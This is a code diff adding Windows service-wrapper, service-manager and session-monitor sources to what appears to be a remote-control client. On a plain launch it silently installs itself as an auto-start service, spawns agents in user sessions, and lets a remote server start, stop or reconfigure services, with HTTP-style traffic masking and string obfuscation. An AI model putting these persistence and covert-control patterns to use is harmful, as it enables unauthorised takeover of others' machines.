Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError());
|
||||
Mprintf("Please run as Administrator\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!GetModuleFileName(NULL, szPath, MAX_PATH)) {
|
||||
Mprintf("ERROR: GetModuleFileName failed (%d)\n", (int)GetLastError());
|
||||
CloseServiceHandle(schSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("Installing service...\n");
|
||||
Mprintf("Executable path: %s\n", szPath);
|
||||
|
||||
int retryCount = 5;
|
||||
|
||||
for (int i = 0; i < retryCount; i++) {
|
||||
schService = CreateService(
|
||||
schSCManager,
|
||||
g_MyService.Name,
|
||||
g_MyService.Display,
|
||||
SERVICE_ALL_ACCESS,
|
||||
SERVICE_WIN32_OWN_PROCESS,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
szPath,
|
||||
NULL, NULL, NULL, NULL, NULL
|
||||
);
|
||||
if (schService != NULL) {
|
||||
break; // 成功
|
||||
}
|
||||
|
||||
DWORD err = GetLastError();
|
||||
if (err == ERROR_SERVICE_MARKED_FOR_DELETE) {
|
||||
Sleep(2000);
|
||||
continue;
|
||||
}
|
||||
break; // 其他错误,退出
|
||||
}
|
||||
|
||||
if (schService == NULL) {
|
||||
err = GetLastError();
|
||||
if (err == ERROR_SERVICE_EXISTS) {
|
||||
Mprintf("INFO: Service already exists\n");
|
||||
|
||||
// 打开已存在的服务
|
||||
schService = OpenService(schSCManager, g_MyService.Name, SERVICE_ALL_ACCESS);
|
||||
if (schService) {
|
||||
Mprintf("SUCCESS: Service is already installed\n");
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(schSCManager);
|
||||
return TRUE;
|
||||
}
|
||||
} else if (err == ERROR_ACCESS_DENIED) {
|
||||
Mprintf("ERROR: Access denied. Please run as Administrator\n");
|
||||
} else {
|
||||
Mprintf("ERROR: CreateService failed (%d)\n", (int)err);
|
||||
}
|
||||
CloseServiceHandle(schSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("SUCCESS: Service created successfully\n");
|
||||
|
||||
// 设置服务描述
|
||||
sd.lpDescription = (LPSTR)g_MyService.Description;
|
||||
if (ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd)) {
|
||||
Mprintf("SUCCESS: Service description set\n");
|
||||
}
|
||||
|
||||
// 立即启动服务
|
||||
Mprintf("Starting service...\n");
|
||||
if (StartService(schService, 0, NULL)) {
|
||||
Mprintf("SUCCESS: Service started successfully\n");
|
||||
|
||||
// 等待服务启动
|
||||
Sleep(2000);
|
||||
|
||||
// 检查服务状态
|
||||
if (QueryServiceStatus(schService, &status)) {
|
||||
if (status.dwCurrentState == SERVICE_RUNNING) {
|
||||
Mprintf("SUCCESS: Service is running\n");
|
||||
} else {
|
||||
Mprintf("WARNING: Service state: %d\n", (int)status.dwCurrentState);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
err = GetLastError();
|
||||
if (err == ERROR_SERVICE_ALREADY_RUNNING) {
|
||||
Mprintf("INFO: Service is already running\n");
|
||||
} else {
|
||||
Mprintf("WARNING: StartService failed (%d)\n", (int)err);
|
||||
Mprintf("You can start it manually using: net start %s\n", g_MyService.Name);
|
||||
}
|
||||
}
|
||||
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(schSCManager);
|
||||
|
||||
Mprintf("=== Installation Complete ===\n");
|
||||
Mprintf("Service installed successfully!\n");
|
||||
Mprintf("IMPORTANT: This is a single-executable design.\n");
|
||||
Mprintf("The service will launch '%s -agent' in user sessions.\n", szPath);
|
||||
Mprintf("Commands:\n");
|
||||
Mprintf(" To verify: sc query %s\n", g_MyService.Name);
|
||||
Mprintf(" To start: net start %s\n", g_MyService.Name);
|
||||
Mprintf(" To stop: net stop %s\n", g_MyService.Name);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL ServiceWrapper_Uninstall(void)
|
||||
{
|
||||
SC_HANDLE schSCManager;
|
||||
SC_HANDLE schService;
|
||||
SERVICE_STATUS status;
|
||||
int waitCount;
|
||||
DWORD err;
|
||||
|
||||
schSCManager = OpenSCManager(
|
||||
NULL,
|
||||
NULL,
|
||||
SC_MANAGER_ALL_ACCESS
|
||||
);
|
||||
|
||||
if (schSCManager == NULL) {
|
||||
Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError());
|
||||
Mprintf("Please run as Administrator\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
schService = OpenService(
|
||||
schSCManager,
|
||||
g_MyService.Name,
|
||||
SERVICE_STOP | DELETE
|
||||
);
|
||||
|
||||
if (schService == NULL) {
|
||||
Mprintf("ERROR: OpenService failed (%d)\n", (int)GetLastError());
|
||||
Mprintf("Service may not be installed\n");
|
||||
CloseServiceHandle(schSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("Stopping service...\n");
|
||||
if (ControlService(schService, SERVICE_CONTROL_STOP, &status)) {
|
||||
Mprintf("Waiting for service to stop");
|
||||
Sleep(1000);
|
||||
|
||||
waitCount = 0;
|
||||
while (QueryServiceStatus(schService, &status) && waitCount < 30) {
|
||||
if (status.dwCurrentState == SERVICE_STOP_PENDING) {
|
||||
Mprintf(".");
|
||||
Sleep(1000);
|
||||
waitCount++;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (status.dwCurrentState == SERVICE_STOPPED) {
|
||||
Mprintf("SUCCESS: Service stopped\n");
|
||||
} else {
|
||||
Mprintf("WARNING: Service may not have stopped completely\n");
|
||||
}
|
||||
} else {
|
||||
err = GetLastError();
|
||||
if (err == ERROR_SERVICE_NOT_ACTIVE) {
|
||||
Mprintf("INFO: Service was not running\n");
|
||||
} else {
|
||||
Mprintf("WARNING: Failed to stop service (%d)\n", (int)err);
|
||||
}
|
||||
}
|
||||
BOOL result = TRUE;
|
||||
Mprintf("Deleting service...\n");
|
||||
if (DeleteService(schService)) {
|
||||
Mprintf("SUCCESS: Service uninstalled successfully\n");
|
||||
} else {
|
||||
Mprintf("ERROR: DeleteService failed (%d)\n", (int)GetLastError());
|
||||
result = FALSE;
|
||||
}
|
||||
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(schSCManager);
|
||||
|
||||
Mprintf("=== Uninstallation Complete ===\n");
|
||||
return result;
|
||||
}
|
||||
|
||||
void PrintUsage()
|
||||
{
|
||||
Mprintf("Usage:\n");
|
||||
Mprintf(" -install Install as Windows service\n");
|
||||
Mprintf(" -uninstall Uninstall service\n");
|
||||
Mprintf(" -service Run as service\n");
|
||||
Mprintf(" -agent Run as agent\n");
|
||||
Mprintf(" default Run as normal application\n");
|
||||
}
|
||||
|
||||
BOOL RunAsWindowsService(int argc, const char* argv[])
|
||||
{
|
||||
if (argc == 1) { // 无参数时,作为服务启动
|
||||
BOOL registered = FALSE;
|
||||
BOOL running = FALSE;
|
||||
char servicePath[MAX_PATH] = { 0 };
|
||||
char curPath[MAX_PATH] = { 0 };
|
||||
|
||||
BOOL b = ServiceWrapper_CheckStatus(®istered, &running, servicePath, MAX_PATH);
|
||||
Mprintf("ServiceWrapper_CheckStatus: %s, Installed: %s, Running: %s\n", b ? "succeed" : "failed",
|
||||
registered ? "Yes" : "No", running ? "Yes" : "No");
|
||||
GetModuleFileName(NULL, curPath, MAX_PATH);
|
||||
|
||||
if (registered) {
|
||||
Mprintf("Current executable path: %s, Registered service path: %s\n", curPath, servicePath);
|
||||
}
|
||||
|
||||
// 使用不区分大小写的比较
|
||||
_strlwr(servicePath);
|
||||
_strlwr(curPath);
|
||||
BOOL same = (strstr(servicePath, curPath) != 0);
|
||||
if (registered && !same) {
|
||||
BOOL r = ServiceWrapper_Uninstall();
|
||||
Mprintf("RunAsWindowsService Uninstall %s: %s\n", r ? "succeed" : "failed", servicePath);
|
||||
registered = FALSE;
|
||||
}
|
||||
if (!registered) {
|
||||
BOOL r = ServiceWrapper_Install();
|
||||
Mprintf("RunAsWindowsService Install %s: %s\n", r ? "succeed" : "failed", curPath);
|
||||
return r;
|
||||
} else if (!running) {
|
||||
int r = ServiceWrapper_Run();
|
||||
Mprintf("RunAsWindowsService Run '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
|
||||
if (r) {
|
||||
r = ServiceWrapper_StartSimple();
|
||||
Mprintf("RunService Start '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
|
||||
return r == ERROR_SUCCESS;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
return TRUE;
|
||||
} else if (argc > 1) {
|
||||
if (_stricmp(argv[1], "-install") == 0) {
|
||||
return ServiceWrapper_Install();
|
||||
} else if (_stricmp(argv[1], "-uninstall") == 0) {
|
||||
ServiceWrapper_Uninstall();
|
||||
return TRUE;
|
||||
} else if (_stricmp(argv[1], "-service") == 0) {
|
||||
return ServiceWrapper_Run() == ERROR_SUCCESS;
|
||||
} else if (_stricmp(argv[1], "-agent") == 0) {
|
||||
return FALSE;
|
||||
} else if (_stricmp(argv[1], "-help") == 0 || _stricmp(argv[1], "/?") == 0) {
|
||||
PrintUsage();
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
81
client/ServiceWrapper.h
Normal file
81
client/ServiceWrapper.h
Normal file
@@ -0,0 +1,81 @@
|
||||
#ifndef SERVICE_WRAPPER_H
|
||||
#define SERVICE_WRAPPER_H
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct MyService {
|
||||
char Name[256];
|
||||
char Display[256];
|
||||
char Description[512];
|
||||
} MyService;
|
||||
|
||||
inline MyService NewService(const char* name, const char* display, const char* description)
|
||||
{
|
||||
MyService s;
|
||||
strcpy(s.Name, name);
|
||||
strcpy(s.Display, display);
|
||||
strcpy(s.Description, description);
|
||||
return s;
|
||||
}
|
||||
|
||||
typedef void (*ServiceLogFunc)(const char* message);
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/*
|
||||
# 停止服务
|
||||
net stop RemoteControlService
|
||||
|
||||
# 查看状态(应该显示 STOPPED)
|
||||
sc query RemoteControlService
|
||||
|
||||
# 启动服务
|
||||
net start RemoteControlService
|
||||
|
||||
# 再次查看状态(应该显示 RUNNING)
|
||||
sc query RemoteControlService
|
||||
*/
|
||||
|
||||
// 自定义服务信息
|
||||
void InitWindowsService(MyService info, ServiceLogFunc log);
|
||||
|
||||
// 以Windows服务模式运行程序
|
||||
BOOL RunAsWindowsService(int argc, const char* argv[]);
|
||||
|
||||
// 检查服务状态
|
||||
// 参数:
|
||||
// registered - 输出参数,服务是否已注册
|
||||
// running - 输出参数,服务是否正在运行
|
||||
// exePath - 输出参数,服务可执行文件路径(可为NULL)
|
||||
// exePathSize - exePath缓冲区大小
|
||||
// 返回: 成功返回TRUE
|
||||
BOOL ServiceWrapper_CheckStatus(BOOL* registered, BOOL* running,
|
||||
char* exePath, size_t exePathSize);
|
||||
|
||||
// 简单启动服务
|
||||
// 返回: ERROR_SUCCESS 或错误码
|
||||
int ServiceWrapper_StartSimple(void);
|
||||
|
||||
// 运行服务(作为服务主入口)
|
||||
// 返回: ERROR_SUCCESS 或错误码
|
||||
int ServiceWrapper_Run(void);
|
||||
|
||||
// 停止服务 0- 成功,其他值-错误码
|
||||
int ServiceWrapper_Stop(void);
|
||||
|
||||
// 安装服务
|
||||
BOOL ServiceWrapper_Install(void);
|
||||
|
||||
// 卸载服务
|
||||
BOOL ServiceWrapper_Uninstall(void);
|
||||
|
||||
// 服务工作线程
|
||||
DWORD WINAPI ServiceWrapper_WorkerThread(LPVOID lpParam);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* SERVICE_WRAPPER_H */
|
||||
308
client/ServicesManager.cpp
Normal file
308
client/ServicesManager.cpp
Normal file
@@ -0,0 +1,308 @@
|
||||
// ServicesManager.cpp: implementation of the CServicesManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ServicesManager.h"
|
||||
#include "Common.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CServicesManager::CServicesManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
SendServicesList();
|
||||
}
|
||||
|
||||
CServicesManager::~CServicesManager()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
VOID CServicesManager::SendServicesList()
|
||||
{
|
||||
LPBYTE szBuffer = GetServicesList();
|
||||
if (szBuffer == NULL) {
|
||||
char buf[128];
|
||||
sprintf_s(buf, "Get service list failed[IP: %s]", m_ClientObject->GetPublicIP().c_str());
|
||||
Mprintf("%s\n", buf);
|
||||
ClientMsg msg("服务管理", buf);
|
||||
m_ClientObject->Send2Server((char*)&msg, sizeof(msg));
|
||||
return;
|
||||
}
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
#ifndef skCrypt
|
||||
#define skCrypt(p) p
|
||||
#endif
|
||||
|
||||
LPBYTE CServicesManager::GetServicesList()
|
||||
{
|
||||
LPENUM_SERVICE_STATUS ServicesStatus = NULL;
|
||||
LPQUERY_SERVICE_CONFIG ServicesInfor = NULL;
|
||||
LPBYTE szBuffer = NULL;
|
||||
char szRunWay[256] = {0};
|
||||
char szAutoRun[256] = {0};
|
||||
DWORD dwLength = 0;
|
||||
DWORD dwOffset = 0;
|
||||
if((m_hscManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ServicesStatus = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR,64*1024);
|
||||
|
||||
if (ServicesStatus==NULL) {
|
||||
CloseServiceHandle(m_hscManager);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
DWORD dwNeedsBytes = 0;
|
||||
DWORD dwServicesCount = 0;
|
||||
DWORD dwResumeHandle = 0;
|
||||
EnumServicesStatus(m_hscManager,
|
||||
SERVICE_WIN32, //CTL_FIX
|
||||
SERVICE_STATE_ALL,
|
||||
(LPENUM_SERVICE_STATUS)ServicesStatus,
|
||||
64 * 1024,
|
||||
&dwNeedsBytes,
|
||||
&dwServicesCount,
|
||||
&dwResumeHandle);
|
||||
|
||||
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
|
||||
if (szBuffer == NULL)
|
||||
return NULL;
|
||||
szBuffer[0] = TOKEN_SERVERLIST;
|
||||
dwOffset = 1;
|
||||
for (unsigned long i = 0; i < dwServicesCount; ++i) { // Display The Services,显示所有的服务
|
||||
SC_HANDLE hServices = NULL;
|
||||
DWORD nResumeHandle = 0;
|
||||
|
||||
hServices=OpenService(m_hscManager,ServicesStatus[i].lpServiceName,
|
||||
SERVICE_ALL_ACCESS);
|
||||
|
||||
if (hServices==NULL) {
|
||||
continue;
|
||||
}
|
||||
|
||||
ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024);
|
||||
if (ServicesInfor == NULL)
|
||||
continue;
|
||||
QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle);
|
||||
//查询服务的启动类别
|
||||
|
||||
ZeroMemory(szRunWay, sizeof(szRunWay));
|
||||
switch (ServicesStatus[i].ServiceStatus.dwCurrentState) {
|
||||
case SERVICE_STOPPED: {
|
||||
lstrcatA(szRunWay, skCrypt("Stopped"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_START_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("Start-Pending"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_STOP_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("Stop-Pending"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_RUNNING: {
|
||||
lstrcatA(szRunWay, skCrypt("Running"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_CONTINUE_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("Continue-Pending"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_PAUSE_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("Pause-Pending"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_PAUSED: {
|
||||
lstrcatA(szRunWay, skCrypt("Paused"));
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
lstrcatA(szRunWay, skCrypt("Unknown"));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
ZeroMemory(szAutoRun, sizeof(szAutoRun));
|
||||
switch (ServicesInfor->dwStartType) {
|
||||
case SERVICE_BOOT_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("Boot-Start"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_SYSTEM_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("System-Start"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_AUTO_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("Auto-Start"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_DEMAND_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("Demand-Start"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_DISABLED: {
|
||||
lstrcatA(szAutoRun, skCrypt("Disabled"));
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
lstrcatA(szAutoRun, skCrypt("Unknown"));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
dwLength = sizeof(DWORD) + lstrlen(ServicesStatus[i].lpDisplayName)
|
||||
+ lstrlen(ServicesInfor->lpBinaryPathName) + lstrlen(ServicesStatus[i].lpServiceName)
|
||||
+ lstrlen(szRunWay) + lstrlen(szAutoRun) + 1;
|
||||
// 缓冲区太小,再重新分配下
|
||||
if (LocalSize(szBuffer) < (dwOffset + dwLength))
|
||||
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
|
||||
LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
if (szBuffer == NULL)
|
||||
continue;
|
||||
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName,
|
||||
lstrlen(ServicesStatus[i].lpDisplayName) + 1);
|
||||
dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//真实名称
|
||||
|
||||
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpServiceName, lstrlen(ServicesStatus[i].lpServiceName) + 1);
|
||||
dwOffset += lstrlen(ServicesStatus[i].lpServiceName) + 1;//显示名称
|
||||
|
||||
memcpy(szBuffer + dwOffset, ServicesInfor->lpBinaryPathName, lstrlen(ServicesInfor->lpBinaryPathName) + 1);
|
||||
dwOffset += lstrlen(ServicesInfor->lpBinaryPathName) + 1;//路径
|
||||
|
||||
memcpy(szBuffer + dwOffset, szRunWay, lstrlen(szRunWay) + 1);//运行状态
|
||||
dwOffset += lstrlen(szRunWay) + 1;
|
||||
|
||||
memcpy(szBuffer + dwOffset, szAutoRun, lstrlen(szAutoRun) + 1);//自启动状态
|
||||
dwOffset += lstrlen(szAutoRun) + 1;
|
||||
|
||||
CloseServiceHandle(hServices);
|
||||
LocalFree(ServicesInfor); //Config
|
||||
}
|
||||
|
||||
CloseServiceHandle(m_hscManager);
|
||||
|
||||
LocalFree(ServicesStatus);
|
||||
|
||||
return szBuffer;
|
||||
}
|
||||
|
||||
VOID CServicesManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_SERVICELIST:
|
||||
SendServicesList();
|
||||
break;
|
||||
case COMMAND_SERVICECONFIG: //其他操作
|
||||
ServicesConfig((LPBYTE)szBuffer + 1, ulLength - 1);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
BYTE bCommand = szBuffer[0];
|
||||
char *szServiceName = (char *)(szBuffer+1);
|
||||
|
||||
switch(bCommand) {
|
||||
case 1: { //start
|
||||
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_ALL_ACCESS);
|
||||
if (NULL != hSCManager) {
|
||||
SC_HANDLE hService = OpenService(hSCManager,
|
||||
szServiceName, SERVICE_ALL_ACCESS);
|
||||
if ( NULL != hService ) {
|
||||
StartService(hService, NULL, NULL);
|
||||
CloseServiceHandle( hService );
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
break;
|
||||
|
||||
case 2: { //stop
|
||||
SC_HANDLE hSCManager =
|
||||
OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); //SC_MANAGER_CREATE_SERVICE
|
||||
if ( NULL != hSCManager) {
|
||||
SC_HANDLE hService = OpenService(hSCManager,
|
||||
szServiceName, SERVICE_ALL_ACCESS);
|
||||
if ( NULL != hService ) {
|
||||
SERVICE_STATUS Status;
|
||||
BOOL bOk = ControlService(hService,SERVICE_CONTROL_STOP,&Status);
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
break;
|
||||
case 3: { //auto
|
||||
SC_HANDLE hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
|
||||
if ( NULL != hSCManager ) {
|
||||
SC_HANDLE hService = OpenService(hSCManager, szServiceName,
|
||||
SERVICE_ALL_ACCESS);
|
||||
if ( NULL != hService ) {
|
||||
SC_LOCK sclLock=LockServiceDatabase(hSCManager);
|
||||
BOOL bOk = ChangeServiceConfig(
|
||||
hService,
|
||||
SERVICE_NO_CHANGE,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_NO_CHANGE,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
UnlockServiceDatabase(sclLock);
|
||||
CloseServiceHandle(hService);
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
break;
|
||||
case 4: { // DEMAND_START
|
||||
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
|
||||
if ( NULL != hSCManager ) {
|
||||
SC_HANDLE hService = OpenService(hSCManager, szServiceName, SERVICE_ALL_ACCESS);
|
||||
if ( NULL != hService ) {
|
||||
SC_LOCK sclLock = LockServiceDatabase(hSCManager);
|
||||
BOOL bOK = ChangeServiceConfig(
|
||||
hService,
|
||||
SERVICE_NO_CHANGE,
|
||||
SERVICE_DEMAND_START,
|
||||
SERVICE_NO_CHANGE,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
UnlockServiceDatabase(sclLock);
|
||||
CloseServiceHandle(hService );
|
||||
}
|
||||
CloseServiceHandle( hSCManager);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
26
client/ServicesManager.h
Normal file
26
client/ServicesManager.h
Normal file
@@ -0,0 +1,26 @@
|
||||
// ServicesManager.h: interface for the CServicesManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)
|
||||
#define AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
class CServicesManager : public CManager
|
||||
{
|
||||
public:
|
||||
CServicesManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CServicesManager();
|
||||
VOID SendServicesList();
|
||||
LPBYTE GetServicesList();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
|
||||
SC_HANDLE m_hscManager;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)
|
||||
539
client/SessionMonitor.c
Normal file
539
client/SessionMonitor.c
Normal file
@@ -0,0 +1,539 @@
|
||||
#include "SessionMonitor.h"
|
||||
#include <stdio.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <userenv.h>
|
||||
|
||||
#pragma comment(lib, "userenv.lib")
|
||||
|
||||
// 动态数组初始容量
|
||||
#define INITIAL_CAPACITY 4
|
||||
#define Mprintf(format, ...) MyLog(__FILE__, __LINE__, format, __VA_ARGS__)
|
||||
|
||||
extern void MyLog(const char* file, int line, const char* format, ...);
|
||||
|
||||
// 前向声明
|
||||
static DWORD WINAPI MonitorThreadProc(LPVOID param);
|
||||
static void MonitorLoop(SessionMonitor* self);
|
||||
static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId);
|
||||
static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId);
|
||||
static void TerminateAllAgents(SessionMonitor* self);
|
||||
static void CleanupDeadProcesses(SessionMonitor* self);
|
||||
|
||||
// 动态数组辅助函数
|
||||
static void AgentArray_Init(AgentProcessArray* arr);
|
||||
static void AgentArray_Free(AgentProcessArray* arr);
|
||||
static BOOL AgentArray_Add(AgentProcessArray* arr, const AgentProcessInfo* info);
|
||||
static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index);
|
||||
|
||||
// ============================================
|
||||
// 动态数组实现
|
||||
// ============================================
|
||||
|
||||
static void AgentArray_Init(AgentProcessArray* arr)
|
||||
{
|
||||
arr->items = NULL;
|
||||
arr->count = 0;
|
||||
arr->capacity = 0;
|
||||
}
|
||||
|
||||
static void AgentArray_Free(AgentProcessArray* arr)
|
||||
{
|
||||
if (arr->items) {
|
||||
free(arr->items);
|
||||
arr->items = NULL;
|
||||
}
|
||||
arr->count = 0;
|
||||
arr->capacity = 0;
|
||||
}
|
||||
|
||||
static BOOL AgentArray_Add(AgentProcessArray* arr, const AgentProcessInfo* info)
|
||||
{
|
||||
size_t newCapacity;
|
||||
AgentProcessInfo* newItems;
|
||||
|
||||
// 需要扩容
|
||||
if (arr->count >= arr->capacity) {
|
||||
newCapacity = arr->capacity == 0 ? INITIAL_CAPACITY : arr->capacity * 2;
|
||||
newItems = (AgentProcessInfo*)realloc(
|
||||
arr->items, newCapacity * sizeof(AgentProcessInfo));
|
||||
if (!newItems) {
|
||||
return FALSE;
|
||||
}
|
||||
arr->items = newItems;
|
||||
arr->capacity = newCapacity;
|
||||
}
|
||||
|
||||
arr->items[arr->count] = *info;
|
||||
arr->count++;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index)
|
||||
{
|
||||
size_t i;
|
||||
|
||||
if (index >= arr->count) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 将后面的元素前移
|
||||
for (i = index; i < arr->count - 1; i++) {
|
||||
arr->items[i] = arr->items[i + 1];
|
||||
}
|
||||
arr->count--;
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 公开接口实现
|
||||
// ============================================
|
||||
|
||||
void SessionMonitor_Init(SessionMonitor* self)
|
||||
{
|
||||
self->monitorThread = NULL;
|
||||
self->running = FALSE;
|
||||
InitializeCriticalSection(&self->csProcessList);
|
||||
AgentArray_Init(&self->agentProcesses);
|
||||
}
|
||||
|
||||
void SessionMonitor_Cleanup(SessionMonitor* self)
|
||||
{
|
||||
SessionMonitor_Stop(self);
|
||||
DeleteCriticalSection(&self->csProcessList);
|
||||
AgentArray_Free(&self->agentProcesses);
|
||||
}
|
||||
|
||||
BOOL SessionMonitor_Start(SessionMonitor* self)
|
||||
{
|
||||
if (self->running) {
|
||||
Mprintf("Monitor already running");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
Mprintf("========================================");
|
||||
Mprintf("Starting session monitor...");
|
||||
|
||||
self->running = TRUE;
|
||||
self->monitorThread = CreateThread(NULL, 0, MonitorThreadProc, self, 0, NULL);
|
||||
|
||||
if (!self->monitorThread) {
|
||||
Mprintf("ERROR: Failed to create monitor thread");
|
||||
self->running = FALSE;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("Session monitor thread created");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void SessionMonitor_Stop(SessionMonitor* self)
|
||||
{
|
||||
if (!self->running) {
|
||||
return;
|
||||
}
|
||||
|
||||
Mprintf("Stopping session monitor...");
|
||||
self->running = FALSE;
|
||||
|
||||
if (self->monitorThread) {
|
||||
WaitForSingleObject(self->monitorThread, 10000);
|
||||
SAFE_CLOSE_HANDLE(self->monitorThread);
|
||||
self->monitorThread = NULL;
|
||||
}
|
||||
|
||||
// 终止所有代理进程
|
||||
Mprintf("Terminating all agent processes...");
|
||||
TerminateAllAgents(self);
|
||||
|
||||
Mprintf("Session monitor stopped");
|
||||
Mprintf("========================================");
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 内部函数实现
|
||||
// ============================================
|
||||
|
||||
